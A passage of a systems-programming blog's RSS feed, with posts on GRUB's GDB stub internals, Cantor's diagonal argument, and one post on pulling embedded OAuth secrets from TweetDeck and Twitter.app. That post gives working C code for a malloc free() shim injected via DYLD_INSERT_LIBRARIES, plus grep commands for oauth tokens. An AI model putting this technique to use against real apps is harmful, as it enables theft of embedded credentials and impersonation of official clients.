<p>After that, two commands named <code>gdbstub</code> and <code>gdbstub_break</code> are registered with GRUB. If the GRUB user issues one of these commands, the corresponding functions are executed.</p>
<p>The first command, <code>gdbstub</code> attaches a specified serial port to the GDB module so that the remote GDB session can communicate with this computer.</p>
<p>The second command, <code>gdbstub_break</code> simply raises a debug interrupt on the system by calling the function <code>grub_gdb_breakpoint</code> after some error checking2:</p>
<pre class="prettyprint">
void
grub_gdb_breakpoint (void)
{
   asm volatile ("int $3");
}
</pre>
</p>
<p>
This works just fine because the <code>grub_gdb_idtinit</code> has registered a handler for the debug interrupt.
</p>
<h2>entering the rabbit hole: grub_gdb_idtinit</h2>
<p>
The <code>grub_gdb_idtinit</code> function which is called during initialization is pretty straightforward. It simply creates interrupt descriptor table (IDT) entries which point at interrupt handlers for interrupt numbers 0 through 31. The basic idea here is that something bad happens (page fault, general protection fault, divide by zero, &#8230;) and the CPU calls a handler function to report the exception or error condition.</p>
<p>You can read more about interrupt and exception handling on the Intel 64 and and IA-32 CPUs by reading the Intel® 64 and IA-32 Architectures: Software Developer’s Manual volume 3A, chapter 6 available from Intel <a href="http://download.intel.com/products/processor/manual/253668.pdf">here</a>.</p>
<p>
Take a look at the C code for <code>grub_gdb_idtinit</code>3, paying close attention to the for loop:</p>
<pre class="prettyprint">
/* Set up interrupt and trap handler descriptors in IDT.  */
void
grub_gdb_idtinit (void)
{
  int i;
  grub_uint16_t seg;

  asm volatile ("xorl %%eax, %%eax\n"
                "mov %%cs, %%ax\n" :"=a" (seg));

  for (i = 0; i <= GRUB_GDB_LAST_TRAP; i++)
    {
      grub_idt_gate (&#038;grub_gdb_idt[i],
                     grub_gdb_trapvec[i], seg,
                     GRUB_CPU_TRAP_GATE, 0);
    }

  grub_gdb_idt_desc.base = (grub_addr_t) grub_gdb_idt;
  grub_gdb_idt_desc.limit = sizeof (grub_gdb_idt) - 1;
  asm volatile ("sidt %0" : : "m" (grub_gdb_orig_idt_desc));
  asm volatile ("lidt %0" : : "m" (grub_gdb_idt_desc));
}
</pre>
</p>
<p>You'll notice that this function maps interrupt numbers to handler function addresses in a <code>for</code>-loop. The function addresses come from an array named <code>grub_gdb_trapvec</code>.</p>
<p>The <code>grub_idt_gate</code> function called above simply constructs the interrupt descriptor table entry, given:</p>
<ul>
<li>a memory location for the entry to live (above: <code>grub_gdb_idt[i]</code>)</li>
<li>the address of the handler function from the <code>grub_gdb_trapvec</code> array (above: <code>grub_gdb_trapvec[i]</code>)</li>
<li>the segment selector (above: <code>seg</code>)</li>
<li>and finally the gate type (above: <code>GRUB_CPU_TRAP_GATE</code>) and privilege bits (above: <code>0</code>)</li>
</ul>
<p>Note that the last two inline assembly statements store existing IDT descriptor and set a new IDT descriptor, respectively.</p>
<p>Naturally, the next question is: where do the function addresses in <code>grub_gdb_trapvec</code> come from and what, exactly, do those handler functions do when executed?
</p>
<h2>grub_gdb_trapvec: a series of clever macros</h2>
<p>It turns out that <code>grub_gdb_trapvec</code> is an array which is constructed through a series of <b>really fucking sexy</b> macros in an assembly.</p>
<p>Let's first examine <code>grub_gdb_trapvec</code>4:</p>
<pre class="prettyprint">
/* some things removed for brevity */
.data VECTOR
VARIABLE(grub_gdb_trapvec)
        ent EC_ABSENT,  0, 7
        ent EC_PRESENT, 8
        ent EC_ABSENT,  9
        ent EC_PRESENT, 10, 14
        ent EC_ABSENT,  15, GRUB_GDB_LAST_TRAP
</pre>
</p>
<p>This code creates a global symbol named <code>grub_gdb_trapvec</code> in the <code>data</code> section of the compiled object. The contents of <code>grub_gdb_trapvec</code> are constructed by a series of invocations of the <code>ent</code> macro.</p>
<p>Let's take a look at the <code>ent</code> macro (I removed some Apple specific code for brevity) and go through it piece by piece5:</p>
<pre class="prettyprint">
.macro ent ec beg end=0
#define EC \ec
#define BEG \beg
#define END \end

        .text
1:
        .if EC
                add $4, %esp
        .endif
</pre>
</p>
<p>This is the start of the <code>ent</code> macro. This code creates a macro named <code>ent</code> and gives names to the arguments handed over to the macro. It assigns a default value of 0 to <code>end</code>, the third argument.</p>
<p>After that, it uses C preprocessor macros named <code>EC</code>,<code>BEG</code>, and <code>END</code>. This is done to assist with cross-platform builds of this source (specifically for dealing with OSX weirdness).</p>
<p>Next, some code is added to the text section of the object. The start of the code is going to be given the label <code>1</code>, so that it can be easily referred to later. This label is what will be used to automatically fill in the addresses of the assembly code stubs a little later.</p>
<p>Finally, the <code>add $4, %esp</code> code is included in the assembled object <b>only</b> if <code>EC</code> is non-zero.</p>
<p><code>EC</code> is the first argument to the <code>ent</code> macro which could either be <code>EC_ABSENT</code> (0) or <code>EC_PRESENT</code> (1) as you saw above. <code>EC</code> stands for "error code." Some interrupts/exceptions that can be generated put an error code on the stack when they occur. If this interrupt/exception places an error code on the stack, this line of code is <i>adding</i> to the stack pointer (remember: on x86 the stack grows down, from higher addresses to lower addresses) to position the stack pointer <b>above</b> the error code. This is done to ensure the stack is at the same position regardless of whether or not an error code is inserted on the stack. In the case where an error code does exist, it is ignored by the code below.</p>
<p><pre class="prettyprint">
        save_context
        mov     $EXT_C(grub_gdb_stack), %esp
        mov     $(BEG), %eax    /* trap number */
        call    EXT_C(grub_gdb_trap)
        load_context
        iret
</pre>
</p>
<p>
This next piece of code begins by using <i>another macro</i> called <code>save_context</code> which writes out the current register values to memory. Next, the address of a piece of memory called <code>grub_gdb_stack</code> is written to <code>%esp</code>. After this instruction, all future code that runs will be using stack space backed by a section of memory named <code>grub_gdb_stack</code>. The interrupt number is written to the <code>%eax</code> register and then the C function <code>grub_gdb_trap</code> is called. We'll take a look at what this function does in a bit. The <code>load_context</code> macro does the opposite of <code>save_context</code> and restores all register values from memory.</p>
<p>Finally, an <code>iret</code> instruction is used to continue execution. In most cases, this instruction restores the system to a broken state where it will hang, trigger another exception, or just reboot itself depending on how many levels deep you have gotten yourself in exceptions.</p>
<pre class="prettyprint">
        /*
         * Address entry in trapvec array.
         */

       .data VECTOR
       .long 1b

        /*
         * Next... (recursion).
         */

        .if END-BEG > 0
                ent \ec "(\beg+1)" \end
        .endif
.endm
</pre>
</p>
<p>
This is the last piece of the amazing <code>ent</code> macro. It refers to a data section created earlier when the <code>grub_gdb_trapvec</code> symbol was being created and in this section the address where label <code>1</code> exists is written.</p>
<p><b>Thus</b>, the address of the code which saves the CPU context, switches out the stack, and invokes <code>grub_gdb_trap</code> is written out.</p>
<p>The <code>ent</code> macro ends by re-invoking itself to generate more code in the <code>.text</code> and fill in more addresses in the <code>.data</code> section for each interrupt/exception in the range passed in to <code>ent</code> as <code>BEG</code> and <code>ENG</code>.
</p>
<p>Wow. An macro.</p>
<h2>grub_gdb_trap</h2>
<p>
The code generated by the <code>ent</code> macro calls <code>grub_gdb_trap</code>. In other words, this function is called whenever an interrupt/execption is raised while GRUB is running and the GDB module is loaded.</p>
<p>
This function pulls data off the serial port (which you set up when you ran <code>gdbstub</code> in GRUB as seen earlier). The data coming in on the serial port are packets as per GDB's <a href="http://sourceware.org/gdb/onlinedocs/gdb/Remote-Protocol.html">remote serial protocol</a>. These packets contain commands from the remote GDB session. <code>grub_gdb_trap</code> parses these packets, executes the commands, and replies. So, packets are parsed and registers are updated, memory is written or read, and data is passed back over the serial port. This is what allows a remote GDB session on another computer connected via serial cable to set breakpoints, examine registers, or single step code.
</p>
<h2>Conclusion</h2>
<ul>
<li>GDB's <a href="http://sourceware.org/gdb/onlinedocs/gdb/Remote-Protocol.html">remote serial protocol</a> is very powerful.</li>
<li>Likewise, knowing how to use GNU <code>as</code> can help you construct really clever macros to generate repetitive assembly code easily.</li>
<li>Writing a C-stub to parse GDB's remote serial protocol and carry out the commands can allow you to debug weird things, even if the target system lacks multiprocess support, system calls, or a hard drive.</li>
<li>Go read the GRUB source code. It's pretty interesting.</li>
</ul>
<p>If you enjoyed this article, <a type="application/rss+xml" href="http://feeds.feedburner.com/TimeToBleed" rel="alternate">subscribe (via RSS or e-mail)</a> and <a href="http://twitter.com/joedamato">follow me on twitter.</a></p>
<h2>References</h2>
<ol class="footnotes"><li id="footnote_0_2281" class="footnote"> grub-2.00/grub-core/gdb/gdb.c </li><li id="footnote_1_2281" class="footnote"> grub-2.00/grub-core/gdb/i386/idt.c </li><li id="footnote_2_2281" class="footnote"> grub-2.00/grub-core/gdb/i386/idt.c </li><li id="footnote_3_2281" class="footnote"> grub-2.00/grub-core/gdb/i386/machdep.S </li><li id="footnote_4_2281" class="footnote"> grub-2.00/grub-core/gdb/i386/machdep.S </li></ol>]]></content:encoded>
			</item>
		<item>
		<title>slides from highload++ 2012</title>
		<link>http://timetobleed.com/slides-from-highload-2012/</link>
		<pubDate>Tue, 23 Oct 2012 10:30:50 +0000</pubDate>
		<dc:creator><![CDATA[Joe Damato]]></dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://timetobleed.com/?p=2244</guid>
		<description><![CDATA[adventures in bug hunting]]></description>
				<content:encoded><![CDATA[<p><a title="View adventures in bug hunting on Scribd" href="http://www.scribd.com/doc/110864103/adventures-in-bug-hunting" style="margin: 12px auto 6px auto; font-family: Helvetica,Arial,Sans-serif; font-style: normal; font-variant: normal; font-weight: normal; font-size: 14px; line-height: normal; font-size-adjust: none; font-stretch: normal; -x-system-font: none; display: block; text-decoration: underline;">adventures in bug hunting</a><iframe class="scribd_iframe_embed" src="http://www.scribd.com/embeds/110864103/content?start_page=1&#038;view_mode=scroll&#038;access_key=key-1s0bcgpsi3qepgih5w2a" data-auto-height="true" data-aspect-ratio="" scrolling="no" id="doc_89040" width="100%" height="600" frameborder="0"></iframe></p>
]]></content:encoded>
			</item>
		<item>
		<title>Ripping OAuth tokens (or other secrets) out of TweetDeck, Twitter.app, and other apps</title>
		<link>http://timetobleed.com/ripping-oauth-tokens-or-other-secrets-out-of-tweetdeck-twitter-app-and-other-apps/</link>
		<pubDate>Mon, 20 Aug 2012 16:14:19 +0000</pubDate>
		<dc:creator><![CDATA[Joe Damato]]></dc:creator>
				<category><![CDATA[debugging]]></category>
		<category><![CDATA[osx]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[systems]]></category>

		<guid isPermaLink="false">http://timetobleed.com/?p=2219</guid>
		<description><![CDATA[If you enjoy this article, subscribe (via RSS or e-mail) and follow me on twitter. the setup So, you have some sort of OSX app. Maybe it&#8217;s Twitter.app, TweetDeck, or something else that has a secret stored inside the binary. You want to extract this secret, maybe because you want to impersonate the official client [&#8230;]]]></description>
				<content:encoded><![CDATA[<p><center><img src="http://timetobleed.com/images/burglar.jpg" alt="" width="400" height="300" /></center><br />
If you enjoy this article, <a type="application/rss+xml" href="http://feeds.feedburner.com/TimeToBleed" rel="alternate">subscribe (via RSS or e-mail)</a> and <a href="http://twitter.com/joedamato">follow me on twitter.</a></p>
<h2>the setup</h2>
<p>So, you have some sort of OSX app. Maybe it&#8217;s Twitter.app, TweetDeck, or something else that has a secret stored inside the binary. You want to extract this secret, maybe because you want to impersonate the official client of a service or maybe just because you want to see if you can hack the gibson.</p>
<p>I don&#8217;t actually really care about Twitter clients, personally. I just wanted to see if I could rip the OAuth token out of some official clients and how long it would take me.</p>
<h2>strings, MITM, objdump, gdb, et al.</h2>
<p>Not surprisingly, there are many different ways to rip data out of a binary. You can use strings to dump printable strings, play with <a href="http://mitmproxy.org/">mitmproxy</a>, or simply reverse engineer the binary by reading objdump (or GDB or whatever) output. I&#8217;ve used all of these methods before with great success when attempting to hack the planet, but I had an idea for something a little bit more interesting that can be easily reused.</p>
<h2>what happens at a low level</h2>
<p>Turns out that, at least at a low level, <strong>usually</strong> <code>malloc/calloc/whatever</code> and <code>free</code> end up getting called to allocate and deallocate memory regions used by applications. Sure, some apps only use static memory, other apps are built in languages that have a custom allocator, but there are <strong>enough apps out there</strong> that after you peel away the various candy coated layers of abstraction just end up calling <code>malloc</code> and <code>free</code> provided in the <code>libc</code> on their system provided by the vendor.</p>
<p>So, I assumed that TweetDeck, Twitter.app, and everyone else would be doing something like this underneath all the fancy frameworks:</p>
<pre class="prettyprint">/* psuedo code, obviously */
buf = malloc(N);
memcpy(buf, "secretkey", strlen("secretkey"));
/* some functions that talk to the api server and do other stuff */
free(buf);</pre>
<h2>malloc shims</h2>
<p>Many malloc implementations provide an interface for the user to create custom shim functions to execute in place of the system-provided <code>malloc</code>/<code>calloc</code>/<code>realloc</code>/<code>free</code> functions. These shim interfaces are useful for many reasons, including but not limited to memory profilers, leak checkers, and other useful debugging tools.</p>
<h2>abuse</h2>
<p>What if I abuse malloc&#8217;s shim interface on OSX and provide a <code>free</code> function that <em>prints the contents of every buffer it is supposed to free</em> before actually freeing it?</p>
<h2>shim code</h2>
<p>About 50 lines of horrible C code (also available <a href="https://gist.github.com/0ee6dfeae09600d30c5e">here.</a>):</p>
<pre class="prettyprint">
void (*real_free)(malloc_zone_t *zone, void *ptr);
void (*real_free_definite_size)(malloc_zone_t *zone, void *ptr, size_t size);

void my_free(malloc_zone_t *zone, void *ptr)
{
  char *tmp = ptr;
  char tmp_buf[1025] = {0};
  size_t total = 0;

  /* lol its fine */
  while (*tmp != '\0') {
    tmp_buf[total] = *tmp;
    total++;
    if (total == 1024)
      break;
    tmp++;
  }

  malloc_printf("%s\n", tmp_buf);
  real_free(zone, ptr);
}

void my_free_definite_size(malloc_zone_t *zone, void *ptr, size_t size)
{
  char tmp_buf[1024] = {0};

  if (size < 1024) {
    memcpy(tmp_buf, ptr, size);
  } else {
    memcpy(tmp_buf, ptr, 1023);
  }

  malloc_printf("%s\n", tmp_buf);
  real_free_definite_size(zone, ptr, size);
}

void __attribute__((constructor)) my_init() {
  malloc_zone_t *zone = malloc_default_zone();

  /* save the addresses of the REAL free functions */
  real_free = zone->free;
  real_free_definite_size = zone->free_definite_size;

  /* replace there with my shims */
  zone->free_definite_size = my_free_definite_size;
  zone->free = my_free;
}
</pre>
<h2>insertion</h2>
<p>All you have to do is build a dylib of the above C code and insert it like this:</p>
<pre class="prettyprint">
% DYLD_INSERT_LIBRARIES="mallshim.dylib" /Applications/Twitter.app/Contents/MacOS/Twitter
</pre>
<p></p>
<p>And, boom. A lot of strings will get printed out, so you should use <code>grep</code> to help sift through the output.</p>
<h2>output</h2>
<p>Let&#8217;s see what happens if we insert this little guy into TweetDeck and Twitter.app:</p>
<h3>Twitter.app</h3>
<p><pre>% DYLD_INSERT_LIBRARIES="mallshim.dylib" /Applications/Twitter.app/Contents/MacOS/Twitter 2>&1| egrep -i "oauth_token|oauth_consumer|oauth_timestamp|oauth_nonce" --color=auto</pre>
</p>
<p>(I censored out some of the good stuff)</p>
<p><img src="http://timetobleed.com/images/twitter_oauth.png"/></p>
<h3>TweetDeck</h3>
<p><pre>DYLD_INSERT_LIBRARIES="mallshim.dylib" /Applications/TweetDeck.app/Contents/MacOS/TweetDeck -psn_0_12827707 2>&1 | egrep -i "oauth_token|oauth_consumer|oauth_timestamp|oauth_nonce" --color=auto</pre>
</p>
<p><img src="http://timetobleed.com/images/tweetdeck_oauth.png"/></p>
<h2>arms race</h2>
<p>There isn&#8217;t much the app can do about this sort of hack. I mean, sure, the app could zero memory the memory before freeing it. But, then I&#8217;ll just use GDB or a hexeditor or whatever to disable the call to memcpy. So on and so forth.</p>
<p>If you ship a binary to a person&#8217;s computer and that binary has a secret embedded in it, that secret will eventually be discovered.</p>
<h2>other apps</h2>
<p>What other interesting strings fall out of OSX apps you use everyday?</p>
<p>If you enjoyed this article, <a type="application/rss+xml" href="http://feeds.feedburner.com/TimeToBleed" rel="alternate">subscribe (via RSS or e-mail)</a> and <a href="http://twitter.com/joedamato">follow me on twitter.</a></p>
]]></content:encoded>
			</item>
		<item>
		<title>Different sizes of infinity</title>
		<link>http://timetobleed.com/different-sizes-of-infinity/</link>
		<pubDate>Mon, 09 Jul 2012 14:00:42 +0000</pubDate>
		<dc:creator><![CDATA[Joe Damato]]></dc:creator>
				<category><![CDATA[computer science]]></category>

		<guid isPermaLink="false">http://timetobleed.com/?p=2142</guid>
		<description><![CDATA[If you enjoy this article, subscribe (via RSS or e-mail) and follow me on twitter. Computer science I have a computer science degree, but I like hacking low level systems code and very rarely ever actually do any real computer science. That said, I was reminded about this cool proof by my old college buddy [&#8230;]]]></description>
				<content:encoded><![CDATA[<p><center><img src="http://timetobleed.com/images/infinity.jpg" alt="" width="400" height="300" /></center><br />
If you enjoy this article, <a rel="alternate" type="application/rss+xml" href="http://feeds.feedburner.com/TimeToBleed">subscribe (via RSS or e-mail)</a> and <a href="http://twitter.com/joedamato">follow me on twitter.</a></p>
<h2>Computer science</h2>
<p>I have a computer science degree, but I like hacking low level systems code and very rarely ever actually do any real computer science. That said, I was reminded about this cool proof by my old college buddy Dan. I decided to share it and possibly motivate myself to dust off some old computer science knowledge that is going to waste as I crawl through the Linux garbage dump. If you&#8217;ve never seen it before, maybe this will be interesting.</p>
<p>I&#8217;m going to assume you don&#8217;t know anything about math, so let&#8217;s start with….</p>
<h2>Natural numbers</h2>
<p>Let&#8217;s define the set of natural numbers to be all whole numbers starting from 1. So, the set of natural numbers is: 1, 2, 3, 4, 5, &#8230;. off into infinity.</p>
</p>
<h2>Bijection</h2>
<p>A bijection is a mathematical function that maps input values to output values such that all input values map to a unique output value and there are no leftovers.</p>
<p>this is a bijection:<br />
<br />
<img src="http://timetobleed.com/images/bijection.png"/>
</p>
<p>This is <b>not</b> a bijection:<br />
<br />
<img src="http://timetobleed.com/images/notbijection.png"/>
</p>
<p>Anything that has a <b>bijection</b> with the natural numbers can be called <b>countably infinite</b>. That&#8217;s it. Not too bad.</p>
<h2>Cantor&#8217;s diagonal argument</h2>
<p>So, on to the cool part, thanks to my dogg Cantor.</p>
<p>Imagine you have an infinite sequence called <img src='http://timetobleed.com/wp-content/latex/5db/5dbc98dcc983a70728bd082d1a47546e-T-1c1c1c-0.png' alt='S' title='S' class='latex' />. We can number the elements of <img src='http://timetobleed.com/wp-content/latex/5db/5dbc98dcc983a70728bd082d1a47546e-T-1c1c1c-0.png' alt='S' title='S' class='latex' /> with the natural numbers, starting at 1:</p>
<p>
<img src='http://timetobleed.com/wp-content/latex/fec/fec8c45184cdc337719f3170357635a2-T-1c1c1c-0.png' alt='S =\ (s_{1}, s_{2}, s_{3}, s_{4}, s_{5}, \cdots )' title='S =\ (s_{1}, s_{2}, s_{3}, s_{4}, s_{5}, \cdots )' class='latex' /><br />

</p>
<p>Now, imagine that each element of S is an infinitely long binary string. So, for example, maybe your <img src='http://timetobleed.com/wp-content/latex/032/032e388e2ab0ba83dd40c91e1f8d9c2f-T-1c1c1c-0.png' alt='s_{1}' title='s_{1}' class='latex' /> is the infinite string of 0s, like this:</p>
<p>
<img src='http://timetobleed.com/wp-content/latex/286/286a9ce12a9b5d54745c6eed7e77ba83-T-1c1c1c-0.png' alt='s_{1} =\ (0, 0, 0, 0, 0, 0, \cdots )' title='s_{1} =\ (0, 0, 0, 0, 0, 0, \cdots )' class='latex' /><br />

</p>
<p>
And maybe your <img src='http://timetobleed.com/wp-content/latex/336/336ac411515fbb2b61ec71e6bf2fba27-T-1c1c1c-0.png' alt='s_{2}' title='s_{2}' class='latex' /> is the infinite binary string of alternating 1&#8217;s and 0&#8217;s, like this:
</p>
<p>
<img src='http://timetobleed.com/wp-content/latex/6b2/6b2df1c2189acfc68f9de01f6470d230-T-1c1c1c-0.png' alt='s_{2} = ( 1, 0, 1, 0, 1, 0, 1, \cdots )' title='s_{2} = ( 1, 0, 1, 0, 1, 0, 1, \cdots )' class='latex' /><br />

</p>
<p>
And so on, until we&#8217;ve mapped every natural number to an infinitely long binary string.
</p>
<p>Imagine a new string, call it <img src='http://timetobleed.com/wp-content/latex/6d1/6d155a8ec86cc6633458655c91f23d08-T-1c1c1c-0.png' alt='s_{0}' title='s_{0}' class='latex' />, that we construct by &#8220;walking&#8221; <i>diagonally</i> down our sequence of infinite binary strings, starting with the first element of <img src='http://timetobleed.com/wp-content/latex/032/032e388e2ab0ba83dd40c91e1f8d9c2f-T-1c1c1c-0.png' alt='s_{1}' title='s_{1}' class='latex' /> and picking the opposite bit, such that the <img src='http://timetobleed.com/wp-content/latex/865/865c0c0b4ab0e063e5caa3387c1a8741-T-1c1c1c-0.png' alt='i' title='i' class='latex' />&#8216;th element of <img src='http://timetobleed.com/wp-content/latex/832/8320d1005489da544f0244dd5ee9af63-T-1c1c1c-0.png' alt='s_0' title='s_0' class='latex' /> is the reverse of the <img src='http://timetobleed.com/wp-content/latex/865/865c0c0b4ab0e063e5caa3387c1a8741-T-1c1c1c-0.png' alt='i' title='i' class='latex' />&#8216;th element of <img src='http://timetobleed.com/wp-content/latex/e5a/e5a7472d780a5a032c7775cc5e3ce901-T-1c1c1c-0.png' alt='s_{i}' title='s_{i}' class='latex' />.</p>
</p>
<h3>an example</h3>
<p>Imagine our set <img src='http://timetobleed.com/wp-content/latex/5db/5dbc98dcc983a70728bd082d1a47546e-T-1c1c1c-0.png' alt='S' title='S' class='latex' /> looks like this:</p>
<p>
<img src='http://timetobleed.com/wp-content/latex/372/372fe53b59e0c3f182eff54e638d9ded-T-1c1c1c-0.png' alt='S = \begin{pmatrix}  s_{1} = ( \underline{0}, 0, 0, 0, 0, 0, \cdots ), \\ s_{2} = ( 1, \underline{1}, 1, 1, 1, 1, \cdots ), \\ s_{3} = ( 1, 0, \underline{1}, 0, 1, 0, \cdots ), \\ s_{4} = ( 0, 1, 0, \underline{1}, 0, 1, \cdots ), \\ s_{5} = ( 1, 1, 0, 0, \underline{1}, 1, \cdots ), \\ s_{6} = ( 0, 0, 1, 1, 0, \underline{0}, \cdots ), \\ \vdots \end{pmatrix}' title='S = \begin{pmatrix}  s_{1} = ( \underline{0}, 0, 0, 0, 0, 0, \cdots ), \\ s_{2} = ( 1, \underline{1}, 1, 1, 1, 1, \cdots ), \\ s_{3} = ( 1, 0, \underline{1}, 0, 1, 0, \cdots ), \\ s_{4} = ( 0, 1, 0, \underline{1}, 0, 1, \cdots ), \\ s_{5} = ( 1, 1, 0, 0, \underline{1}, 1, \cdots ), \\ s_{6} = ( 0, 0, 1, 1, 0, \underline{0}, \cdots ), \\ \vdots \end{pmatrix}' class='latex' /><br />
<br />
Then our <img src='http://timetobleed.com/wp-content/latex/6d1/6d155a8ec86cc6633458655c91f23d08-T-1c1c1c-0.png' alt='s_{0}' title='s_{0}' class='latex' /> would look like this:
</p>
<img src='http://timetobleed.com/wp-content/latex/6b4/6b401b1b318ce13c9fbf59ed0245db86-T-1c1c1c-0.png' alt='s_{0} = ( \underline{1}, \underline{0}, \underline{0}, \underline{0}, \underline{0}, \underline{1}, \cdots )' title='s_{0} = ( \underline{1}, \underline{0}, \underline{0}, \underline{0}, \underline{0}, \underline{1}, \cdots )' class='latex' />
<p><img src='http://timetobleed.com/wp-content/latex/832/8320d1005489da544f0244dd5ee9af63-T-1c1c1c-0.png' alt='s_0' title='s_0' class='latex' />, by construction, <b>can not</b> exist in our infinite sequence <img src='http://timetobleed.com/wp-content/latex/5db/5dbc98dcc983a70728bd082d1a47546e-T-1c1c1c-0.png' alt='S' title='S' class='latex' />. If <img src='http://timetobleed.com/wp-content/latex/832/8320d1005489da544f0244dd5ee9af63-T-1c1c1c-0.png' alt='s_0' title='s_0' class='latex' /> did exist as (let&#8217;s just say) the 3rd element of <img src='http://timetobleed.com/wp-content/latex/5db/5dbc98dcc983a70728bd082d1a47546e-T-1c1c1c-0.png' alt='S' title='S' class='latex' />, then the 3rd bit of <img src='http://timetobleed.com/wp-content/latex/53b/53bdac91a273ef4cc459237a9812271e-T-1c1c1c-0.png' alt='s_{3}' title='s_{3}' class='latex' /> and the 3rd bit of <img src='http://timetobleed.com/wp-content/latex/6d1/6d155a8ec86cc6633458655c91f23d08-T-1c1c1c-0.png' alt='s_{0}' title='s_{0}' class='latex' /> would be the same, which is not possible with the construction outlined above.</p>
<p>Thus, <img src='http://timetobleed.com/wp-content/latex/832/8320d1005489da544f0244dd5ee9af63-T-1c1c1c-0.png' alt='s_0' title='s_0' class='latex' /> is an infinite binary string we have created that exists outside of our infinite sequence <img src='http://timetobleed.com/wp-content/latex/5db/5dbc98dcc983a70728bd082d1a47546e-T-1c1c1c-0.png' alt='S' title='S' class='latex' />. However, we&#8217;ve already mapped all the natural numbers to elements in <img src='http://timetobleed.com/wp-content/latex/5db/5dbc98dcc983a70728bd082d1a47546e-T-1c1c1c-0.png' alt='S' title='S' class='latex' /> and yet there is at least one more binary string (our <img src='http://timetobleed.com/wp-content/latex/6d1/6d155a8ec86cc6633458655c91f23d08-T-1c1c1c-0.png' alt='s_{0}' title='s_{0}' class='latex' />) that doesn&#8217;t have a natural number paired with it.</p>
<p>So it follows that the infinite set of all infinite binary strings (which would include, at least, <img src='http://timetobleed.com/wp-content/latex/5db/5dbc98dcc983a70728bd082d1a47546e-T-1c1c1c-0.png' alt='S' title='S' class='latex' /> and our <img src='http://timetobleed.com/wp-content/latex/6d1/6d155a8ec86cc6633458655c91f23d08-T-1c1c1c-0.png' alt='s_{0}' title='s_{0}' class='latex' />) is larger than the countably infinite set of natural numbers and so we say it is <b>uncountably infinite</b>.</p>
<h2>Next time&#8230;</h2>
<p>I&#8217;ll try to show that the real numbers are uncountable and probably regret using a binary string representation to show that it is possible to construct a set that is not countable.</p>
<p>
If you enjoyed this article, <a rel="alternate" type="application/rss+xml" href="http://feeds.feedburner.com/TimeToBleed">subscribe (via RSS or e-mail)</a> and <a href="http://twitter.com/joedamato">follow me on twitter.</a></p></p>
]]></content:encoded>
			</item>
	</channel>
</rss>

<!-- Dynamic page generated in 0.800 seconds. -->
<!-- Cached page generated by WP-Super-Cache on 2022-03-24 11:47:14 -->

<!-- Compression = gzip -->